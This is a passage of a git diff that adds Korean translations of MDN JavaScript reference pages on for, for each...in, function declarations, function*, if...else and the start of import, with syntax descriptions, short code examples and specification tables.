+</pre>
+
+<h3 id="선택적_식_사용">선택적 식 사용</h3>
+
+<p><code>for</code> 반복문의 3개 식은 모두 선택 사항입니다.</p>
+
+<p>예를 들어, 변수를 초기화하려고 <code>initialization</code> 블럭을 사용할 필요는 없습니다.</p>
+
+<pre class="brush: js">var i = 0;
+for (; i &lt; 9; i++) {
+ console.log(i);
+ // 기타 등등
+}
+</pre>
+
+<p><code>initialization</code> 블럭처럼 <code>condition</code> 블럭도 선택 사항입니다. 다만 이 경우, 반복문 본문에 무한 반복을 탈출할 수 있는 장치를 추가해야 합니다.</p>
+
+<pre class="brush: js">for (var i = 0;; i++) {
+ console.log(i);
+ if (i &gt; 3) break;
+ // 기타 등등
+}</pre>
+
+<p>세 가지 모두 생략할 수도 있습니다. 위와 같이 {{jsxref("Statements/break", "break")}} 문을 사용해 반복을 탈출할 수 있도록 추가하고, 변수를 수정해 탈출 조건이 언젠가 참이 되도록 해야 합니다.</p>
+
+<pre class="brush: js">var i = 0;
+
+for (;;) {
+ if (i &gt; 3) break;
+ console.log(i);
+ i++;
+}
+</pre>
+
+<h3 id="문_없이_for_사용하기">문 없이 <code>for</code> 사용하기</h3>
+
+<p>다음 <code>for</code> 반복 사이클은 노드의 위치 오프셋을 <code>final-expression</code>에서 계산해 문이나 블럭문이 필요하지 않으므로 세미콜론을 사용합니다.</p>
+
+<pre>function showOffsetPos(sId) {
+ var nLeft = 0, nTop = 0;
+
+ for (
+ var oItNode = document.getElementById(sId); /* initialization */
+ oItNode; /* condition */
+ nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent /* final-expression */
+ ); /* semicolon */
+
+ console.log('Offset position of \'' + sId + '\' element:\n left: ' + nLeft + 'px;\n top: ' + nTop + 'px;');
+}
+
+/* Example call: */
+
+showOffsetPos('content');
+
+// Output:
+// "Offset position of "content" element:
+// left: 0px;
+// top: 153px;"</pre>
+
+<div class="note"><strong>참고:</strong> 여기서 쓰인 세미콜론은, JavaScript가 <strong>필수로 요구하는 몇 안되는 세미콜론</strong>입니다. 물론 세미콜론 없이는 반복 사이클 선언의 바로 다음 줄을 반복 본문으로 인식합니다.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.6.2', 'for statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.6.3', 'for statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.6.3', 'for statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-for-statement', 'for statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.for")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Statements/empty", "공백문", "", 0)}}</li>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/do...while", "do...while")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for_each...in/index.html b/files/ko/web/javascript/reference/statements/for_each...in/index.html
new file mode 100644
index 0000000000..9fa9901aae
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for_each...in/index.html
@@ -0,0 +1,85 @@
+---
+title: for each...in
+slug: Web/JavaScript/Reference/Statements/for_each...in
+tags:
+ - Deprecated
+ - E4X
+ - JavaScript
+ - Obsolete
+ - Statement
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div class="warning">
+<p>The <code>for each...in</code> statement is deprecated as the part of ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>) standard. E4X support has been removed. Consider using <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> instead.<br>
+ <br>
+ <strong>Firefox now warns about the usage of <code>for each...in</code> and it no longer works starting with Firefox 57.<br>
+ Please see <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> for migration help.</strong></p>
+</div>
+
+<p><code><strong>for each...in</strong></code> 문은 객체의 모든 속성 값에 대해 지정된 변수를 반복합니다. 각각의 고유한 특성에 대해 지정된 명령문이 실행됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">for each (<em>variable</em> in <em>object</em>) {
+ <em>statement</em>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>var 키워드로 선택적으로 선언된 속성 값을 반복하는 변수입니다. 이 변수는 루프가 아니라 함수의 local이 됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>반복될 객체입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statement</code></dt>
+ <dd>각 속성에 대해 실행할 명령문입니다. 루프 내에서 여러 명령문을 실행하려면 블록 명령문 ({...})을 사용하여 해당 명령문을 그룹화하십시오.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>일부 기본 제공 속성은 반복되지 않습니다. 여기에는 객체 기본 제공 메서드 전부가 포함됩니다.</p>
+
+<p>ex) String의 indexOf 메소드.</p>
+
+<p>그러나 사용자가 정의한 모든 속성은 반복됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_for_each...in">Using <code>for each...in</code></h3>
+
+<p><strong>Warning:</strong> Never use a loop like this on arrays. Only use it on objects. See <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> for more details.</p>
+
+<p>The following snippet iterates over an object's properties, calculating their sum:</p>
+
+<pre class="brush:js">var sum = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+
+for each (var item in obj) {
+ sum += item;
+}
+
+console.log(sum); // logs "26", which is 5+13+8</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of a current ECMA-262 specification. Implemented in JavaScript 1.6 and deprecated.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_each_in")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> - a similar statement that iterates over the property <em>names</em>.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> - a similar statement that iterates over the property <em>values</em> but can only be used for iteratable types, so not for generic objects</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/function/index.html b/files/ko/web/javascript/reference/statements/function/index.html
new file mode 100644
index 0000000000..fe1eee366a
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/function/index.html
@@ -0,0 +1,177 @@
+---
+title: 함수 선언
+slug: Web/JavaScript/Reference/Statements/function
+tags:
+ - Function
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>함수 선언(function declaration)</strong>은 지정된 매개변수(parameter)를 갖는 함수를 정의합니다.</p>
+
+<p>{{jsxref("Function")}} 생성자나 {{jsxref("Operators/function", "함수 표현식(function expression)")}}을 사용해서 정의할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-function.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>,[..., <em>param</em>]]]) { [<em>statements</em>] }
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수로 전달되는 인수(argument)의 이름. 인수의 최대 개수는 엔진마다 다름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통(body)을 구성하는 문(statement).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 선언으로 생성된 함수는 <code>Function</code> 객체로, <code>Function</code> 객체의 모든 속성(property), 메서드 및 행위 특성(behavior)을 갖습니다. 함수에 관한 더 자세한 정보는 {{jsxref("Function")}} 참조하시기 바랍니다.</p>
+
+<p>함수는 또한 표현식({{jsxref("Operators/function", "함수 표현식")}} 참조)을 사용하여 생성될 수 있습니다.</p>
+
+<p>기본적으로 함수는 <code>undefined</code>를 반환합니다. 다른 값을 반환하기 위해서는, 함수는 반환값을 지정하는 {{jsxref("Statements/return", "return")}} 문이 있어야 합니다.</p>
+
+<h3 id="조건부로_생성되는_함수">조건부로 생성되는 함수</h3>
+
+<p>함수는 조건부로 선언될 수 있습니다. 즉, function 문은 <code>if</code> 문 안에 들어갈 수 있습니다. 하지만, 구현에 따라 결과에 일관성이 없으므로 이 패턴은 실제 코드에서는 사용해선 안됩니다. 조건부로 함수를 생성하고자 한다면, 함수 표현식(function expression)을 대신 사용하세요.</p>
+
+<pre class="brush: js">var hoisted = "foo" in this;
+console.log(`'foo' name ${hoisted ? "is" : "is not"} hoisted. typeof foo is ${typeof foo}`);
+if (false) {
+ function foo(){ return 1; }
+}
+
+// In Chrome:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Firefox:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Edge:
+// 'foo' name is not hoisted. typeof foo is undefined
+//
+// In Safari:
+// 'foo' name is hoisted. typeof foo is function
+</pre>
+
+<p>결과는 참으로 평가되는 조건과 정확하게 일치합니다.</p>
+
+<pre class="brush: js">var hoisted = "foo" in this;
+console.log(`'foo' name ${hoisted ? "is" : "is not"} hoisted. typeof foo is ${typeof foo}`);
+if (true) {
+ function foo(){ return 1; }
+}
+
+// In Chrome:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Firefox:
+// 'foo' name is hoisted. typeof foo is undefined
+//
+// In Edge:
+// 'foo' name is not hoisted. typeof foo is undefined
+//
+// In Safari:
+// 'foo' name is hoisted. typeof foo is function
+</pre>
+
+<h3 id="함수_선언_끌어올리기">함수 선언 끌어올리기</h3>
+
+<p>자바스크립트에서 함수 선언은 그 선언을 둘러싼 함수의 최상부나 전역 범위(global scope)로 끌어올려집니다.</p>
+
+<pre class="brush: js">hoisted(); // logs "foo"
+
+function hoisted() {
+ console.log("foo");
+}
+</pre>
+
+<p>{{jsxref("Operators/function", "함수 표현식")}}은 끌어올려지지 않으므로 주의하세요:</p>
+
+<pre class="brush: js">notHoisted(); // TypeError: notHoisted is not a function
+
+var notHoisted = function() {
+ console.log("bar");
+};
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="function_사용하기"><code>function</code> 사용하기</h3>
+
+<p>다음 코드는 제품 <code>a</code>, <code>b</code> 및 <code>c</code>의 단위 판매량이 주어졌을 때, 총 판매량을 반환하는 함수를 선언합니다.</p>
+
+<pre class="brush: js">function calc_sales(units_a, units_b, units_c) {
+ return units_a*79 + units_b * 129 + units_c * 699;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.function")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "함수 및 함수 범위")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Operators/function", "함수 표현식")}}</li>
+ <li>{{jsxref("Statements/function*", "function* 문")}}</li>
+ <li>{{jsxref("Operators/function*", "function* 식")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "화살표 함수")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/function_star_/index.html b/files/ko/web/javascript/reference/statements/function_star_/index.html
new file mode 100644
index 0000000000..9178c28602
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/function_star_/index.html
@@ -0,0 +1,159 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Statements/function*
+tags:
+ - ECMAScript6
+ - Generator
+ - Iterator
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>function*</strong></code> 선언 (끝에 별표가 있는 <code>function</code> keyword) 은 <em>generator function</em> 을 정의하는데, 이 함수는 {{jsxref("Global_Objects/Generator","Generator")}} 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}</div>
+
+
+
+<p>generator function 은 {{jsxref("Global_Objects/GeneratorFunction", "GeneratorFunction")}} 생성자와 {{jsxref("Operators/function*", "function* expression")}} 을 사용해서 정의할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수명.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 인수를 255개까지 가질 수 있다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 본체를 구성하는 구문들.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>Generator는 빠져나갔다가 나중에 다시 돌아올 수 있는 함수입니다. 이때 컨텍스트(변수 값)는 출입 과정에서 저장된 상태로 남아 있습니다.</p>
+
+<p>Generator 함수는 호출되어도 즉시 실행되지 않고, 대신 함수를 위한 <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">Iterator</a> 객체가 반환됩니다. Iterator의 <code>next()</code> 메서드를 호출하면 Generator 함수가 실행되어 <strong>{{jsxref("Operators/yield", "yield")}}</strong> 문을 만날 때까지 진행하고, 해당 표현식이 명시하는 Iterator로부터의 반환값을 반환합니다. <strong>{{jsxref("Operators/yield*", "yield*")}}</strong> 표현식을 마주칠 경우, 다른 Generator 함수가 위임(delegate)되어 진행됩니다.</p>
+
+<p>이후 <code>next()</code> 메서드가 호출되면 진행이 멈췄던 위치에서부터 재실행합니다. <code>next()</code> 가 반환하는 객체는 <code>yield</code>문이 반환할 값(yielded value)을 나타내는 <code>value</code> 속성과, Generator 함수 안의 모든 <code>yield</code> 문의 실행 여부를 표시하는 boolean 타입의 <code>done</code> 속성을 갖습니다. <code>next()</code> 를 인자값과 함께 호출할 경우, 진행을 멈췄던 위치의 <code>yield</code> 문을  <code>next()</code> 메서드에서 받은 인자값으로 치환하고 그 위치에서 다시 실행하게 됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: js">function* idMaker(){
+ var index = 0;
+ while(index &lt; 3)
+ yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...
+</pre>
+
+<h3 id="yield*_를_사용한_예제">yield* 를 사용한 예제</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+ yield i + 1;
+ yield i + 2;
+ yield i + 3;
+}
+
+function* generator(i){
+ yield i;
+ yield* anotherGenerator(i);
+ yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="Generator_에_인자값을_넘기는_예제">Generator 에 인자값을 넘기는 예제</h3>
+
+<pre class="brush: js">function* logGenerator() {
+ console.log(yield);
+ console.log(yield);
+ console.log(yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();
+gen.next('pretzel'); // pretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+</pre>
+
+<h3 id="Generator_는_생성자로서_사용될_수_없다">Generator 는 생성자로서 사용될 수 없다</h3>
+
+<pre><code>function* f() {}
+var obj = new f; // throws "TypeError: f is not a constructor"</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.statements.generator_function")}}</p>
+
+<h2 id="관련_항목">관련 항목</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function declaration")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>Other web resources:
+ <ul>
+ <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li>
+ <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+ <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&amp;list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&amp;index=1">Hemanth.HM: The New gen of *gen(){}</a></li>
+ <li><a href="http://taskjs.org/">Task.js</a></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/if...else/index.html b/files/ko/web/javascript/reference/statements/if...else/index.html
new file mode 100644
index 0000000000..cde42b2a80
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/if...else/index.html
@@ -0,0 +1,177 @@
+---
+title: if...else
+slug: Web/JavaScript/Reference/Statements/if...else
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>if</code> 문</strong>은 지정한 조건이 {{glossary("truthy", "참")}}인 경우 명령문(statement)을 실행합니다. 조건이 {{glossary("falsy", "거짓")}}인 경우 또 다른 명령문이 실행 될 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">if (<em>condition</em>)
+ <em>statement</em><em>1</em>
+[else
+ <em>statement2</em>]
+</pre>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>참 또는 거짓으로 평가되는 <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#표현식">표현식</a>입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statement1</code></dt>
+ <dd>조건이 참으로 평가될 경우 실행되는 문입니다.<br>
+ 중첩된 if구문을 포함하여 어떤 구문이든 쓸 수 있습니다. 다중구문을 사용할 경우  ({ ... })<a href="/en-US/docs/Web/JavaScript/Reference/Statements/block" title="en/JavaScript/Reference/Statements/block">블럭</a> 구문 으로 그룹화 하고 실행하지 않으려면 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">빈</a> 구문을 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>statement</em>2</code></dt>
+ <dd>이 구문은 조건이 거짓일경우 다른 조항이 있을 때 실행되는 구문입니다. 블록 문과 if문의 중첩을 호함한 모든문이 될 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다중의 if...else 문은 else if 절을 만들기 위해 중첩될 수 있다.<br>
+ 자바스크립트에서는 elseif (하나의 단어) 키워드가 존재하지 않는다.</p>
+
+<pre class="eval">if (<em>조건1</em>)
+ <em>명령문1</em>
+else if (<em>조건2</em>)
+ <em>명령문2</em>
+else if (<em>조건3</em>)
+ <em>명령문3</em>
+...
+else
+ <em>명령문N</em>
+</pre>
+
+<p>아래 작업한 것을 보면,  if문을 중첩 사용하면 들여쓰기된 것이 제대로 보여집니다.</p>
+
+<pre class="eval">if (<em>조건1</em>)
+ <em>명령문1</em>
+else
+ if (<em>조건2</em>)
+ <em>명령문2</em>
+ else
+ if (<em>조건3</em>)
+...
+</pre>
+
+<p>하나의 절에서 여러개의 명령문들을 실행하려면,   그 명령문들을 그룹화하는 블록 명령문 ({ ... }) 블럭구문을 사용한다.<br>
+ 일반적으로, 블럭구문을 항상 사용하는 것은 좋은 연습입니다. 특히 중첩된 if 문과 관련되어<br>
+ 있는 코드안에서 사용하면 더욱 좋습니다.</p>
+
+<pre class="eval">if (조건) {
+ <em>명령문들1</em>
+} else {
+ <em>명령문들2</em>
+}
+</pre>
+
+<p>원시 불리언 값인 true (참) 과 false (거짓) 을 불리언 객체의 truthiness (참으로 보이는 것) 과 falsiness (거짓으로 보이는 것)으로 혼동하면 안된다. false, undefined, null, 0, NaN, 또는 빈 스트링 ("") 이 아닌 모든 값, 그리고 false 값인 불리언 객체를 포함하는 모든 객체는 조건으로 사용될 때 <a href="https://developer.mozilla.org/ko/docs/Glossary/Truthy">truthy</a> 로 간주된다. 예:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // 이 조건은 참으로 보이는 것 (truthy) 이다.
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="if...else_사용하기"><code>if...else</code> 사용하기</h3>
+
+<pre class="brush: js">if (cipher_char === from_char) {
+ result = result + to_char;
+ x++;
+} else {
+ result = result + clear_char;
+}
+</pre>
+
+<h3 id="else_if_사용하기"><code>else if</code> 사용하기</h3>
+
+<p>자바스크립트에는 elseif 구문이 없다. 그러나, else if  를 사용할 수 있다.</p>
+
+<pre class="brush: js">if (x &gt; 5) {
+
+} else if (x &gt; 50) {
+
+} else {
+
+}</pre>
+
+<h3 id="조건식의_값을_지정하기">조건식의 값을 지정하기</h3>
+
+<p>조건식을 단순하게 지정하는 것은 좋지 않습니다.<br>
+ 왜냐하면,  코드를 흘깃 보면 값을 지정한것을 평등한것으로  혼동할 수 있기 때문입니다. 예를들어, 다음코드를 사용하지 마세요:</p>
+
+<pre class="brush: js example-bad">if (x = y) {
+ /* do the right thing */
+}
+</pre>
+
+<p>당신이 조건식에 값의 지정을 해야할 경우, 일반적인 관행은 그 할당된 것 주위에 추가 괄호를 넣어야 합니다. 예를들면:</p>
+
+<pre class="brush: js example-good">if ((x = y)) {
+ /* do the right thing */
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-if-statement', 'if statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-if-statement', 'if statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.5', 'if statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.5', 'if statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.5', 'if statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.if_else")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">삼항 조건 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/import/index.html b/files/ko/web/javascript/reference/statements/import/index.html
new file mode 100644
index 0000000000..ce3a1536cb
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/import/index.html
@@ -0,0 +1,156 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Statements/import
+tags:
+ - ECMAScript6
+ - Modules
+ - import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>정적 <strong><code>import</code></strong> 문은 다른 모듈에서 내보낸 바인딩을 가져올 때 사용합니다.</p>
+
+<p>가져오는 모듈은 <code>"use strict"</code>의 존재 유무와 상관없이 무조건 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>입니다. HTML 안에 작성한 스크립트에서는 <code>import</code>를 사용할 수 없습니다.</p>
+
+<p>함수형 구문을 가진 동적 <strong><code>import()</code></strong>도 있으며, <code>type="module"</code>을 필요로 하지 않습니다.</p>
+
+<p>{{htmlelement("script")}} 태그의 <code>nomodule</code> 속성을 사용해 하위호환성을 유지할 수 있습니다.</p>
+
+<p>동적 가져오기는 모듈을 조건적으로 가져오고 싶거나, 필요할 때에만 가져올 때 유용합니다. 반면 초기 의존성을 불러올 때엔 정적 가져오기가 더 좋고, 정적 코드 분석 도구와 {{glossary("Tree shaking", "트리 셰이킹")}}을 적용하기 쉽습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">import defaultExport from "module-name";
+import * as name from "module-name";
+import { export1 } from "module-name";
+import { export1 as alias1 } from "module-name";
+import { export1 , export2 } from "module-name";
+import { foo , bar } from "module-name/path/to/specific/un-exported/file";
+import { export1 , export2 as alias2 , [...] } from "module-name";
+import defaultExport, { export1 [ , [...] ] } from "module-name";
+import defaultExport, * as name from "module-name";
+import "module-name";
+var promise = import("module-name");</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>모듈에서 가져온 기본 내보내기를 가리킬 이름.</dd>
+ <dt><code>module-name</code></dt>
+ <dd>가져올 대상 모듈. 보통, 모듈을 담은 <code>.js</code> 파일로의 절대 또는 상대 경로입니다. 번들러에 따라 확장자를 허용하거나, 필요로 할 수도 있으므로 작업 환경을 확인하세요. 따옴표와 쌍따옴표 문자열만 사용 가능합니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>가져온 대상에 접근할 때 일종의 이름공간으로 사용할, 모듈 객체의 이름.</dd>
+ <dt><code>exportN</code></dt>
+ <dd>내보낸 대상 중 가져올 것의 이름.</dd>
+ <dt><code>aliasN</code></dt>
+ <dd>가져온 유명 내보내기를 가리킬 이름.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>name</code> 파라미터는 export 되는 멤버를 받을 오브젝트의 이름입니다. <code>member</code> 파라미터는 각각의 멤버를 지정하지만, <code>name</code> 파라미터는 모두를 가져옵니다. 모듈에서 <font face="Courier New, Andale Mono, monospace">name</font> 은 멤버 대신 하나의 default 파라미터를 통해 export 하는 경우에도 동작할 수 있습니다. 다음의 명확한 예제 문법을 살펴봅시다.</p>
+
